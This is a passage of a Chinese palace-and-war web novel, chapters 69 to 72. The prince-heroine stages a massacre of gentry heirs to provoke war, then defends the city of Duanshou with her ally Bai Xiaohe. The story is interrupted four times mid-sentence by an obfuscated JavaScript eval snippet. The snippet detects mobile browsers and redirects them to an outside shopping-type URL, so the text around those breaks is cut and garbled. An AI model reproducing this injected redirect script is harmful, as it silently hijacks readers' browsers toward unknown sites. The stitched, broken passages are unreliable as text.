“不知你官居何职,可有何凭证?”王戚打量着他,谨慎询问。 韩晟轻松付之一笑,从怀中亮出一道符牒,“此乃殿下府内符牒,将军大可亲自过目,至于在下的官职......不过是殿下的亲卫而已,算不上什么。” 王戚接过符牒仔细辨认后,这才说道:“若是此次大捷,我自会向徐司空替你讨一官来做。” 韩晟目光未闪,闻言故作欢喜道:“属下定尽心尽力,不负将军期待。” 若非刻意看去,那双眼中细碎的、欢愉的情绪是半分也察觉不到的,韩晟他,兴奋了。 ---- “听闻殿下与柏都督闹了不小的矛盾。”四轮车缓缓划过后院的草地,陆衎将手中的竹简搁置膝上,抬眸看向来人。 “你也听说了?” “如今满城风雨,自然无人不晓。”眼下才入秋不久,可陆衎身上便已披上了一件薄衣,墨发微微垂在肩头,淡雅平静的如同神袛。 “依你之见,可信度值几分?”秦祉问道。 陆衎轻轻叹了一口气:“难说,若是旁人未必会信,但殿下一来属于燕室血脉,二来又有前车之鉴......”他意有所指地看了一眼对方,慢悠悠地补充,“徐生信也是人之常情。” “只是不知殿下如何要徐军渡江?端寿当地士族大多不喜殿下,若是徐生攻来,必会献城投敌。” 秦祉微微一笑:“怕的便是如此,所以本王此次前来,目的就是为了向陆公子讨一份端寿本地士族的名册。” 陆衎早有预料,用二指从袖口中夹出一张折叠过的纸,递给秦祉说:“你和柏萧鹤的传言是假的。” 他的声音十分平静,像是诉说一件并不起眼的小事。 秦祉勾唇,尚未开口,只听对方继续道:“虽然此话不应该由在下去说,但事关沧州去留、陆氏安危,还是请殿下注意,柏萧鹤那人狼子野心,殿下当心养鹰飏去。” 漆黑如墨的眼睛如一抹月色,平静地倒映着秦祉的脸,他一字一顿说: “上位者可以动心,但不可动情。” 晚风簌簌穿过庭院,空气之间唯有几声虫鸣打破了凝滞,在漫天绚丽的景象中增添了一笔自己存在的痕迹。 “先生多虑了。”秦祉面无表情的接过名册扫了一眼:“三日之内端寿必迎来史无前例的乱战,陆公子眼下看样子行动颇为不便,实在不行就暂时离开此城避避风头吧。” 她的心微微沉了一分,并非对陆衎这番话本身有什么情绪,真正让她算不上平静的是,陆衎这样的只同她见过几面的人,却会说出这样的话,那么其他人呢? “咚咚咚——” 端寿城头战鼓被敲响,一时间城内风声鹤唳、百姓闻风丧胆。 斥候骑战马一路穿过树林,带战报冲回端寿城内:“殿下,徐军率兵已横渡沄江,朝端寿行进!” “还要多久?”城楼之上,斥候看见他们的殿下一身轻甲赤色骑装,眉眼摄人夺魄,身姿气宇轩昂,手提一柄长剑,仿若天人之姿。 “按照徐军的速度,最迟明日。” 秦祉微微转动拇指上的玉韘,心里暗暗盘算着。 今夜子时,就是崔颉妙行动的时辰,等到消息传到徐生这里的时候,这人还能不能活着都还未必,而距离端寿一战前这几个小时,她还有一件更为重要的事需要提前处理。 黑金牌匾大喇喇地挂在屋檐之下,但两侧房门却紧紧关闭,在这略显吵闹的街巷中显得有些过于冷清。 门骤然被推开时,里面的人吓了一跳,紫梅罗裙的姑娘迎了上来:“不好意思啊,春山居以后不再接客,你......哎?” “我们是第一次见面。”此人不顾阻拦直接闯入门内,颇为自如的寻了个位置坐下,缓缓为自己填了一杯水,“春盈,对吧?” 春盈内心一凛,眼眸转了转,问道:“请问阁下是?” “楚霁。”秦祉淡声道。 春盈手一抖,只觉得嗓子有些发紧,她干巴巴地问:“不知晋赭王殿下、眼下来春山居有何意图?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“殿、殿下?”春盈本就是跪坐,此刻更是连手都跟着撑到了地面,“春山居现下都是剩下无家可归的女孩儿在这讨口饭吃,还请殿下高抬贵手。” 秦祉无声地盯着她垂下去的头顶,良久将一张纸放置木案,说:“今日申时四刻,本王要见到这份名单中的人出现在春山居。” 春盈拾起那张纸,越看越觉得呼吸不畅,额角开始冒出冷汗,她缓了半天这才开口:“殿下,虽然我不知道你要做什么,但是如今沧州并不太平,这些人未必会轻易应邀来这春山居。” 但她哪里还能猜不透此人的想法,那名单上写下的,分明就是端寿各士族家的小公子们。 秦祉闻言扯了扯嘴角,偏头短暂的笑了一下:“徐军来犯,沧州动荡,空出许多官职,此次殿下欲同各位共议事宜,先到先得表诚心,过时不候。” 说着,几块符牒发出清脆的碰撞声,一同被扔到了春盈面前。 69. 不易 “殿下,请。”身边一紫一绿两位姑娘端上果盘和茶水,颔首低眉道。 秦祉看着食案上的点心,一口未动,只捏了一颗梅在手尖:“兑忧书斋被毁之后,春山居这边都经历了什么,如今竟然半点人气都无?” 着紫衫的点桃回道:“春山居原本就是春盈姐负责打点,偶尔会见得陆公子出面,在那之后,陆公子便关了春山居,银钱打点遣散了各位姑娘,大家有家的就回了家,无家可归的便求着公子留了下来。” 她目光有些哀恸:“其实哪里还算得上家呢,像我们这样的人,即便是有家,基本上也是回不去了,从春山居出来的女子,能活在这个世上原本就已是不易了......” 另一则,明薇忍不住落下来一滴泪,她微微偏过头:“前些日子,我与点桃外出采买的时候还撞见了之前一同在春山居的一位妹妹......” “她受了陆公子的钱,说着可以回家了,那么高兴的离开,我们当初甚至那么羡慕她还有家可回。”明薇深深吸了一口气,“可一切都只是黄粱一梦罢了,她回去之后,街里邻坊都在背后说三道四,说的话一个比一个难听,后来她父亲承受不住,说是为了清理门户,将人活活打死,裹着草席扔出了门。” 秦祉微微蹙眉,明明什么都没说,但点桃常年的察言观色,就已经大概猜到了什么:“殿下是不是好奇,那她的母亲,去了哪里?” 她微微笑了一下,但笑容之中满是苦涩:“早就死了,在她失踪后的一个月,吊死在后院的那颗树下了。” “你恨陆绥吗?” 良久的沉默之后,只听到很轻很轻的一句话落了下来,“我不知道”,而后微风拂过,被悄无声息地带走,飘散在了空气之中,变的无影无形。 “造成这场苦难的人是端寿所有上位者,他陆公子,也是帮凶。”点桃无神地盯着食案,“可若不是他,或许我们连活命的可能都没有。” “我们如今这个身份,活着就已经很累了,哪里还谈的上恨呢?” “有一个......”秦祉思考了一下措词,“复仇的机会,要不要,全在你们自己。” 过了片刻,她又道:“氾州兰干五大营有位属国都尉,名为李竹启,听说她最近在劭关募女兵。” 前后话语并不连贯,但二人却听懂了秦祉的意思,募兵一事说来简单,但端寿到韶关的这一路,单凭她们这些人,简直难如登天,更不必说那位名声赫赫地女将军具体的募兵地点在何处。 她在交易。 虽然不知这晋赭王从她们这里能拿到什么,但她们的确没有什么值得失去的东西了。 时间一分一秒地过,点桃和明薇像是久久不能回神,听到这话足足愣了半天,等反应过来时头已经率先磕了下去:“请殿下吩咐,我等定竭尽全力为殿下做事。” 秦祉若有所思地看着二人,未几轻笑一声,起身上了二楼:“我去歇一会儿,春盈回来了叫我。” ---- “一个小小亲王居然公然与端寿所有士族对立,简直就是自寻死路!” “疯了,你简直是疯了!你竟然敢......” “本王有何不敢?”秦祉嘴角含笑,两只手恣意的搭在栏杆上,居高临下俯视着这些人。 这种挑逗的、审视的、绝对实力差距所带来的压迫感,让这群公子哥们顷刻之间冷汗直冒,连着背脊的衣襟都好似快要湿透了。 “不,你不可以这么做!” “楚霁!” 秦祉微微扬手示意,轻而易举地打断了他们的废话连篇:“今日诸位以死殉道,明日士族血战抗徐。” “也算是各位功德圆满了,那就……请吧?” “晋赭王,我□□祖宗十八代!”劈风一道声嘶力竭的怒吼, 秦祉闻言反而一笑,冲着那人点头致意:“可以,那就更需要你下地狱了,毕竟本王的祖宗十八代,早早在地府呆了数年之久了。” 像是个笑话,但是好冷。 满场无一人敢笑。 “还不动手?”她视线冷冷一瞥,目光所及之处,几个姑娘的手颤抖不止,险些握不住刀。 “殿、殿下......”点桃竭力控制住自己的声音,才勉强连成了句子,“我、我不......” 她险些咬到自己的舌头,只觉得心脏好像快要挣脱束缚,从口齿中蹦出来了,浑身都在发烫。 面前的,是活生生的人。 还在呼吸的,甚至是睁着眼睛死死盯着她的人。 她握着刀柄的手紧了又紧,深呼吸了几次仍旧抖的厉害:“不行......我做不到......” 这就是秦祉要的交易。 她可以为这些女子铺路,一个能够去李竹启手下的路,但前提是这些人真的值得她去这么做。 “民之饥,以其上食税之多,是以饥;民之难治,以其上有为,是以难治......【1】”秦祉摸着栏杆上的扶手,翻身坐了上去,靠着二楼,两腿悬空轻轻荡着,见到那些女子不解的神色,她恍然道,“很难理解是吧?” “因为学堂之上,从来就没有你们的位置。” “沧州虽比不得中原富足地带,但也足够当地豪强在此兴风作浪、为所欲为,百戏坊、春山居和兑忧书斋连成的巨大产业让这些人得到了前所未有的满足,不是有多么喜欢,而是单纯的享受凌驾于下位者无法反抗的痛苦......” “你们尚且在春山居留有一条性命,难不成便凭此自以为是幸运?”秦祉声音不疾不徐地传来,好似平静,却更像蛊惑,“百戏坊附近曾经总有一妇人好似神志时常,被人认作疯子,据说此人住在端寿城西。” 说到此处时,屋内不少姑娘的神色都有了变化,因为这个人,她们多少都曾听说过的。 “是在寻自己的女儿吧?”秦祉目光淡淡地扫视一圈,未几点点头,“看样子你们都知道?” “你到底在说什么,别他妈废话了,不就是几个女人罢了,也值得你大费周章的跑来理会?”那人虽被绑着,但举止言语之间无一不是对这些女子的蔑视,他嗤笑两声说,“在外面装一装就得了,你找我们来,无非不就是为了和徐生这一战?” “赶紧给本公子松开,我们若是心情好了,施舍你些军需未必不是可能,晋赭王,我劝你识相的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137604|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就少做些有的没的,这里是端寿,不是你梌州,少在这里异想天开。” “哦,那依你之见,本王该如何补救啊?”秦祉佯装思考着歪了歪头,反问道。 那人见状扬起下巴:“本公子现在心情很不好,正巧兑忧书斋那场大火后,再没时间重振旗鼓,春山居这边也不知道他陆二怎么想的,直接给关了,我正愁找不到什么合适的地方玩。” 他极具侵略的视线若有若无地看着面前举刀的、不惧威胁的女子,嘴里说出的话不干不净:“不如将这些人分给各位,若是大家玩的高兴,说不准就不把这些放在心上了呢?” 他晃了晃被绑住的手,那种态度,完全没有将她们当成一个人来看待。 点桃握着刀柄的手紧了几分,呼吸微微有些沉重,她觉得自己的眼眶好像有些湿,但是始终不曾落下什么。 她们知道的。 她们一贯知道这些人的想法,可真正当着所有人的面,用如此轻浮随意的态度去与一个人谈论这些,仍然让人难以忍受。 尤其这个人,还是唯一一个愿意以平等身份和她们沟通,做交易的人。 但这番话终究还是让她们动摇了,诚如那人所言,晋赭王虽是燕室宗亲,可终归士族豪强对他的利益才是最重要的,她们不过一介女子,相比之下,并不能为他带来任何益处。 好像是最后的审判,所有人都目光哀哀地抬头望向那个人。 “若是、若是我们......”明薇欲言又止,看着秦祉的目光微微闪烁。 秦祉看着她,表情循循善诱。 “若是我们不动手,您会……”明薇抿了抿唇,“您会……怎么做?” 这是在场每一个姑娘心中的想法,她们一生并未伤过人,更不必说如今要拿刀杀人,这个世上的大部分普通人,除非真的逼入绝境,否则是不会轻易杀死一条人命的。 “那便一辈子留在这里。”秦祉的声音是前所未有的平淡。 “殿下不会把我们送给他们……” “这听起来也还好,春山居现在不再开门,陆公子说了,不会再开门的……” “所以我们也可以不动手的。” “但是……”她话锋一转,顷刻之间,姑娘们的呼吸截然停止。 “他刚刚说的话你们也听见了,这只是端寿尚且没有陷入乱战的时候,一旦日后战争波及此地,陆氏未必会一直留在这里,你们以为,若陆氏要走,会带上你们一起吗?” “疏勒城之战耿恭为守城,‘壮志饥餐胡虏肉,笑谈渴饮匈奴血’,致使满城最终只剩下26人尚且活命;睢阳之战张巡被围困,‘马食既尽,而及妇人老弱凡食三万口’……莫有畔者。【2】” “这是城被守住的情况。”秦祉好似在笑,但目光中却是刺骨的冷,“若城破,数十万大军杀入城中之时,那便是肆意掠夺。” “为了发泄,为了物资,抢夺任何他们想要的东西,甚至是……女人,再然后,纵火屠城。” “……端寿届时沦为真正的地狱,死亡反而成了最好的解脱。” “可你们以为,那个时候,你们的命还由得自己做决定吗?” 70. 尸首 秦祉说的算是客气,没有将那血淋淋的,真正可怕的东西拿到明面上来讲,可即便如此,这些姑娘也觉得由内而外的冷,士兵攻城后的发泄是什么样的,已经不言而喻了。 一旦这种念头开始,那便如同延绵不绝的梅雨季,阴湿的冷意裹挟在身上,无论如何都甩不掉。 端寿未必会有这样一日。 但眼下中原的乱战持续多年,各州战火不断,如今徐生大军当前,这都在明晃晃预示着,像晋赭王口中这样的日子,或许迟早有一天会降临到所有人的头上,无一幸免。 赌。 这是一场赌博。 唯一的区别就是,她们自己的命,是要交由别人做决定,还是听凭自己的本心。 “现在,我重新再给你们一次机会。”秦祉眨了眨眼,一声响指后,一人推门而进,苍白的脸上不带一丝表情,犹如地狱使者、黑白无常般悄然无声地现身,他手中匣光宝刀已经出鞘,等待着主人的最后一道命令。 “做不做,在你们自己。” 手中的刀很沉,沉到像是有千斤重,她的那双纤细的手腕若要举刀,恐怕未必能一击毙命。 那样人不会死,但会痛、会哀叫、会悲鸣,鲜血会喷涌而出,流的满地都是...... 可若不杀,有朝一日倒下的就只会是自己。 点桃不自觉的咽了下口水,目光一眨不眨地盯着刀锋,她想,如果她能做到手刃仇人,如果她能成为李竹启将军的手下,会不会有一日,她也能杀出一条属于自己的道路,而不是像过去浑浑噩噩的十几年一般,任人宰割? 点桃闭了闭眼,杀人是很简单的,她只需要举起手,再砍下去就好了。 “等等!”那人忽然察觉到一丝不对,连忙大喊,“楚霁!楚霁——” “你他妈疯了,让她们住手我们一切好谈!” “不就是想要兵马军需吗,我们都可以给!如果你杀了我们,我们家族不会放过你的,到最后你腹背受敌,才是真的会失守!晋赭王——!” 数道声音此起彼伏,可惜秦祉没有给予对方任何反应,她只是淡淡地,注视着点桃的一举一动。 下一刻,她看见那姑娘咬着牙,猛地挥刀砍向面前的人,伴随着无数惊呼声中,顿时那人的声音戛然而止。 “噗——”大量的鲜血喷涌,将地面染成血红。 “不、不......”点桃双手止不住的颤抖,眼睛始终不敢睁开,可脚下蔓延而来的湿漉漉的触感在无声向她传递着一条信息:她杀人了。 点桃手指使不上力,让刀从手尖脱落下来,掉落到地发出“铿锵”一声,随后像是整个人脱力一般,蹲下身子,将脸埋了进去,少顷,抽泣声隐约从臂肘之间传来。 秦祉默默地看了一会儿,看着看着,她恍然间想起,她已经不记得她第一次杀人是什么时候了,感觉是什么样的,又是因为什么,她都记不清了。 “阁主。” 韩阁已经站到了她的身后:“楚湛还有一刻钟便到。” 秦祉颔首道:“诸位,若此刻不动手,那就由本王的部下代劳了?” 像是最后的通牒,点桃的行为带动了所有人的思绪,一时间春山居沦为了一片血场,秦祉手臂微微用力,人从栏杆上翻了下来,她不再看这堪称荒诞的场景,只低声留下一句“既然都动手了,人死不死便不重要了,你去处理干净”,而后离开了这里。 待到屋内案几上点燃的一只香燃烧殆尽时,整个春山居已经被鲜血充斥着,目光所及之处一片猩红,楚湛一进门便是此等场景,险些没吐出来,他捂着鼻子倒退了两步,不可置信的扫视了一圈。 “这里面都是什么!” “殿下?”亲卫险些被他撞到,忙往旁边让开,进门探了一眼,这一眼霎时让他的表情也不太好看,“这是......” 他连忙进去用刀挑起一个符牒,定睛望去,下一刻从背脊冒出一股冷汗和俱意:“是、是......” 一个接着一个残肢的看去,那亲卫越看越心慌,最终猛地冲出喊道: “是端寿大小士族家的公子!” “轰隆”一声。 好像雷鸣,可天边夕阳虽落,但万里无云,并不像风雨欲来的前兆。 更像是幻听。 当夜。 “只留了符牒人家会信是楚湛杀的人?”陆绥人靠在内廊的栏杆上侧身半躺着,“未免有些过于勉强了。” “你哥呢?”秦祉赤着脚踩在地上的竹席,询问道。 “楚湛那边突发情况,被叫去王府了。”月色下,他懒散地半睁着眼睛,望向来人,“今夜城西我瞧见一个木箱被运了出去,柏都督的人接应着送走了,这一招祸水东引,破绽百出的,不怕士族反应过来?” “时间仓促,只能如此。”秦祉笑了笑,说,“即便他们反应过来,也得于事无补。” “两边的大军、百姓都看着呢,那头颅高高悬挂在徐军阵前,这些士族要是能放过徐军,让天下人如何看待他们呢?” 须臾,二人相视而笑。 ---- 一双瞪的很大的眼睛正目不转睛地看向前方,睫羽被阳光透过,打下一层阴影,细细看去,那双眼中好似布满惊恐的神色,却没有一丝光芒,无声无息地,如一潭死水。 发丝凌乱的贴在脸庞,带着干涸的血迹,面色发青,大块大块的沉积,一声轻微的振翅声传来,落在鼻尖的赫然是一只飞虫,紧接着一只跟着一只,视野倒退,整张脸才逐渐呈现在眼前,那是一颗算不得新鲜,也称不上多久的...... 人头。 一杆长枪从脖颈出插了进去,立在那辆车的正前方,往远处一望,十几辆车前整整齐齐架着的,全部都是昨夜春山居丢失的那些尸首。 其后,密密麻麻,浩浩荡荡而来的,是徐生的万人大军。 “到了。”韩晟轻勒缰绳,视野之中,端寿城城门紧闭,其上隐约可见严阵以待的士兵。 “楚湛就让你这么带路?”徐生微微蹙眉,冷笑一声,“奔着人家城门去,我们要损失多少人才能攻破这城?” 韩晟不咸不淡地看了他一眼,而后笑道:“端寿城内的粮铁不会供给晋赭王,士兵人数也让柏萧鹤带走了大半,一旦开战,殿下会趁机派人偷偷打开城门,徐军不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大军当前,哪有时间跟他掰扯这些。”秦祉不打算在此地与对方纠缠,她猛地想到了什么,转身冲着城外看去,“斥候是不是说那些人头是端寿各家的孩子?” “是,听说是昨夜被端寿王召到春山居后出了事的。” “那不是正好嘛!”秦祉一笑,吩咐着,“快叫人将端寿王拦起来。” “可是那毕竟是燕室宗亲……不太好吧?” “简直死脑筋,眼下此事没调查清楚之前,他公然上街遇刺该如何是好?”秦祉拍了拍对方,义正言辞说,“这是在保护他。” 与此同时。 端寿城西,居川将一道重石从草丛之中拉开,灰土弥漫之中,一条黑色的密道隐约显现。 “这半年来楚湛倒还信任你。”柏萧鹤微微蹲下身,朝着密道中探去。 这是端寿不为人知的、记录在文书中的路。 居川勾唇道:“毕竟当初在殿下那里,被某位酷吏特殊关照过一段日子,那伤至今未好,楚湛自然会深信不疑我没有背叛他。” 他率先拨开树丛,顺着密道跳了下去。 71. 并肩 “你说什么!”楚湛竭力保持着风度,对上那亲卫的眼睛,“简直可笑至极,他有什么资格来桎梏我的行为和去向?” 亲卫见状微微垂头,满脑子的‘你别来质问我啊我哪里管得了我们殿下做事’,但他表情不变,只说:“殿下,请。” 楚湛冷笑一声:“让开,本王要亲自同楚霁谈。” “殿下,还请不要为难我们。” “谁要再拦,直接以妨碍军事罪,杀。”楚湛面无表情的下令,随即推开人便要走,也是眼尖,一眼便看见了城楼前阶梯上那道有些熟悉的身影,即便相隔甚远,但那过人的容貌松风水月,足以引人侧目。 他为什么会在这? 如遭雷击一般,楚湛愣在了原地,此时此刻他才恍然明白,从始至终楚霁与柏萧鹤二人都不曾有过间隙,他们是故意在做戏,为什么...... 难道是故意引徐军来此的? 若是如此,徐军中招,徐行那边他就真的解释不清楚了。 楚湛深吸了一口气,觉得那两个人就是天生来克他的,他连忙低声吩咐道:“马上派人传信徐行,就说我们中计了,晋赭王和柏萧鹤是故意......” 属下得了话,转身便要离开,秦祉的亲卫见状只看了一眼,全然不甚在意,只盯着楚湛的去留。 因为这封信,是送不出去的。 端寿虽然明面上没有太大的变化,可在不知不觉中,早已被秦祉接手了过去,从半年前的兑忧书斋大火一日起,无声无息的势力就已盘根在此。 楚湛一时管不了那么多,他干脆三步并做两步的冲了过去:“站住!” “柏萧鹤——” 阶梯之上的那人闻言动作一滞,头也不回的就转身进了城楼,楚湛见状马上跟了上去,身后府兵亲卫一大串纷纷踏上了城楼,简直可以说是乱七八糟,所幸被人拦截,才不至于一群人就这样冲到秦祉面前去了。 画面是比较滑稽的,秦祉正在安排守城的用兵,就听见身后一阵脚步声,她下意识回头望去,恰好对上了柏萧鹤漆黑的眸。 秦祉:“?” “你怎么......”一句话没说出去,柏萧鹤的视线便往后一扫,示意道,“你的麻烦在后面。” 好一招祸水东引。 下一秒,身着华服的楚湛便站在了面前,看样子有些急躁,气息并不平稳,他看着二人的面容,来回扫视一圈后终于忍不住笑出了声,但那笑声中带着十足的讽刺,与他以往无害的模样大相径庭。 “我就说为何柏萧鹤能和你一直联盟,忠心耿耿,原来是早就背地里苟且到一处去了。” 莫名其妙的,秦祉生出一种像是被捉奸了一样的感觉。 怪怪的。 她瞥了柏萧鹤一眼,后者似乎毫无察觉,甚至在对视她视线的一刻勾唇一笑。 “许是近日端寿公事繁杂,端寿王处理的头脑不清,你们带他回府冷静冷静,马上就要开战,为了保护殿下安危,王府上下都守好了,不准任何人进出。”秦祉没有回应楚湛的话语,只是平静地安排了他接下来的去处。 “公事再多,不也是你楚霁一手策划安排的吗?”楚湛缓缓笑了,眉目间满是积蓄的恨意,“你说着什么冠冕堂皇的话,只是来帮助沧州度过难关?你敢说你楚霁对这沧州就没有丝毫动心吗!” “这半年来在端寿安插了不少人手吧,你的目的从来都不是什么为了百姓,你只是为了地位、为了利益,为了得到你想要的一切……贪婪而虚伪。” “楚霁,你的野心看样子不是一般的大啊!” 秦祉抬手按了按太阳穴:“这种大不敬的话你还是少说为妙,让有心人听了误会。” “误会?你既然都已经做到这份上了,还怕我说什么?”楚湛嗤笑一声,全然不在意,他视线轻轻落到柏萧鹤的脸上,未几开口道:“你以为你跟着他会有什么好下场?” “他看中的不过是你常胜将军的名头,募兵、打仗,最后牺牲在战场就是你最好的归宿了,就像端寿士族一样,说杀就杀毫不顾忌。” “至于你的那张脸,他晋赭王身边好看的人层出不穷,这个人荤素不忌,你以为他会真的爱你吗?他早晚会忘了你!” “哦这样啊......”柏萧鹤微微蹙眉,有些苦恼地歪了歪头,看向秦祉的眼神中却带着戏谑,“那可怎么办啊,毕竟我已经是殿下的人了。” 秦祉眼皮跳了一下,这人总在不合时宜的时候演技大爆发。 “殿下的人?”楚湛觉得可笑,“他会给你什么位份吗?” 扯哪去了? 秦祉震惊的看着他:“楚湛,你有些神志不清了。” “是我神志不清,还是你根本不敢谈及此事?”楚湛的目的只有一个,那就是尽可能打破这二人之间的联系,即便只是引起猜忌也足够了,大敌当前,若是没有信任、互相戒备,分心就是在所难免。 只要有裂痕,就不怕抓不到机会。 “你也是去过晋赭的,可知晓他府内有男宠一事?” 这纯纯就是赤裸裸的造谣啊! “够了,带他下去。”秦祉无可奈何的吩咐。 “想必被瞒着呢吧?”楚湛避开来人,看着对方,“燕室好男风的事层出不穷,但至今无人公之于众,他晋赭王也是如此,你当真以为他对你是真心?王妃之位迟早会落到旁人身上,必是对他有用的大户人家的女公子。” “没关系。”柏萧鹤说,一双凤眼期期艾艾,包含情意,看的秦祉寒毛直立,他的声音又低又缓,“天长地久,只争朝夕。” “演上瘾了你?”秦祉手肘怼了下柏萧鹤,后者带着笑意退了两步,而后目光骤然降温,要笑不笑地看向楚湛: “夫民者,万世之本也,不可欺。凡居于上位者,简士苦民者是谓愚,敬士爱民者是谓智。【1】” “你连你究竟为何会输给她都不清楚,我看你也的确没有继续坐在这个位置的必要了,端寿王。”微风缓缓将他的发丝拂起,露出那不可一世、高高在上的眼神,这才是他常胜将军原本的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柏萧鹤将长弓还给了身旁的弓手:“第一波攻城要来了,至少得顶住三回,才能将人往西边引,否则我们的兵力会损耗过多。” “趁着还有时间,我倒是有个问题。”秦祉目光落在远处,大地轻颤,并不明显,但足以预示着端寿即将要面临的局面。 “请。”柏萧鹤看似彬彬有礼地颔首。 “我们原定的计划,你此刻应该带兵守在端寿西面。”秦祉忽然转头,一眨不眨地盯着他看,似乎一定要一个回答般的执着,“为何会进城?” “是担心本王出尔反尔,还是怕本王守不住端寿呢?” “管乔居川随我行动,韩晟又前去卧底,唯有韩阁一人留在殿下身边。”柏萧鹤微微俯身,目光认真,“纵使我信殿下,可端寿如今并不安分,楚湛和其余士族眼中容不得你。” “我思来想去,觉得你身边不能没有人。” 72. 真相 “咚咚咚——”战鼓声振聋发聩,战车轰隆作响,将尘土塌飞,黄沙弥漫中,骑兵率先开路,身后徐军战旗遮天蔽日,成队形朝前奔袭。 端寿城西护城河接峡河的水,向北便是沄江,悬索桥一撤,徐军的兵马便难以跨河,壕沟外以削尖的木棍形成拒马枪,地下铺满铁蒺藜,阻挠敌军前进。 “准备——”城门尉高声喊道,声音传遍城门,险些劈了嗓子,“放箭!” 瓮城之上,两端弓手架起弓弩,铺天盖地射向徐军,骑兵向两侧避开飞羽,盾兵迎面破出一条路。 后方冲车轰隆作响,紧随其后,从盾兵身侧现身,其上布满强弩、石炮,高五层的攻城塔足排以势不可挡之势冲来。 “工兵去峡河上游切水源!”王戚坐在徐军后方,沉声吩咐,“投石机上,填平护城河!” 重石漫天,排山倒海般四面八方的飞来,足足一个时辰,徐军前锋一批接着一批的倒下,城楼外的女墙终于破了。 “都督,要不我干脆趁乱带兵冲出去杀一波再回来......” “城门不用开。”战火之中,柏萧鹤目光坦然平静,“徐军无后继补给,一直拖着他就够了。” “派工兵带着百姓去补城墙。”秦祉转头吩咐,却忽而被一道声音打断。 “报——!”亲卫从后方爬了上来,大喊道,“城内躁动,有人鼓动百姓开城门迎徐生!” 秦祉蹙眉:“在哪?” “在里街,人越聚越多,百姓已经开始恐慌害怕、蠢蠢欲动了!” ---- “徐军以三十万军攻我端寿,一旦反抗那就是死路一条,等到城破的一刻,徐生必定屠城,在场的每一个人谁都跑不掉!”那人语气激昂热烈,“你们想落得那样一个下场吗?” “各位,徐生是什么人,那是徐司空的亲侄子,徐司空如今得天子庇佑,他的命令就是天子的命令,如今他们欲来端寿,那就是天子要收复此地,不再让他人强占此地、鱼肉百姓!” “徐司空在都邑和殷州,为人仁义有礼,百姓对其是爱戴有加,这样的人掌管沧州,掌管端寿,便是我们百姓的福分,我们为何不干脆开城门迎徐生呢!” “对!我们在这守城有什么意义,到头来出了事他们一跑,死的不还是我们吗!” 一唱一和中,台下百姓互相对视着,不过一会儿便传来了小声交谈的声音:“我觉得倒也有些道理,来的人是奉了天子的命令,我们要是抵抗岂不是和天子作对?” “可是现在北城门那边,柏都督和晋赭王在,我们这样难道不算叛变吗?”有人小声反问,“万一他们知道了,我们不也必死无疑吗?” “叛变?”台上的男人冷笑一声,“叛谁的变?” “这里是端寿,他俩一个郁南太守,一个梌州刺史,与我端寿有何干系?” “看起来,这里好像不太欢迎我们。” 声音悦耳迷人,带着些笑意的传遍每一个人的耳中,众人同时心中一震,顺着声音的主人望去,只见街头两道身影逆着光并肩而立,金甲熠熠生辉,五官夺人摄魄。 一瞬间,像是真的被夺走了声音一般,全场鸦雀无声,所有人目光惊恐地望向来人,不知过了多久,最先有动作的反而是那两人。 一步、一步。 不轻不重的脚步声像是阎王索命,踏在每个人的心理防线上。 秦祉率先跳上了台,视线缓缓转了一圈,说:“本王以为城楼那边已经够热闹了,没想到这里要更甚。” “柏浪昭,对此你有什么头绪吗?” 后者轻笑一声,说:“属实没想到,不然早就来这里凑个热闹了。”明明在笑,但眼神却十分幽冷,看得让人不寒而栗。 “你刚刚说,献城投敌,不算叛变?” 这人似是没料到他们二人会现身在此,当即愣了几秒:“对,既然你们二位来的如此是时候,我倒也是有几个问题,趁着大家都在这看着,不如你们来解答一下……” “为何端寿的地盘,却不见我们端寿王楚湛的身影?” “哎是啊,确实哪里都没看到殿下在……” “据说几个时辰前,他带着府兵去过北城楼,但是后来让人给带走了。” “难不成真是为了夺取端寿,趁乱便把端寿王给......”后半句话不需要说出口,大家也心照不宣。 “可他堂堂一个皇室宗亲,就这么明目张胆就...可信吗?” 名为怀疑的种子一旦种下,萦绕在百姓心头的问题便像无头苍蝇般,随着那人想要的结果胡乱撞去,可这人心里的谱并非落得那么实,因为无论如何鼓吹质疑,那位晋赭王全然一脸的淡定,好像对此情此景并不慌张一般。 秦祉微微偏头:“本王当是什么,就这?” 语气和表情,太讥讽了。 “你!”那人一怒,不等开口,人群之中突然暴乱,一位妇人的哭声脱颖而出,其后伴随而至的,让所有人都退了两步。 没有人不认识那张脸。 这人描眉画眼、傅粉施朱,墨发缠绕半笼,上钗琉璃珠宝,素衣勾勒竹梅,一颦一笑眼波勾人,但表情却带着虔诚和庄重,纤纤玉手微微搭起作揖道:“春山居管事,春盈,见过各位乡亲。” “她怎么会出现?不是说春山居现在都已经关了吗?” 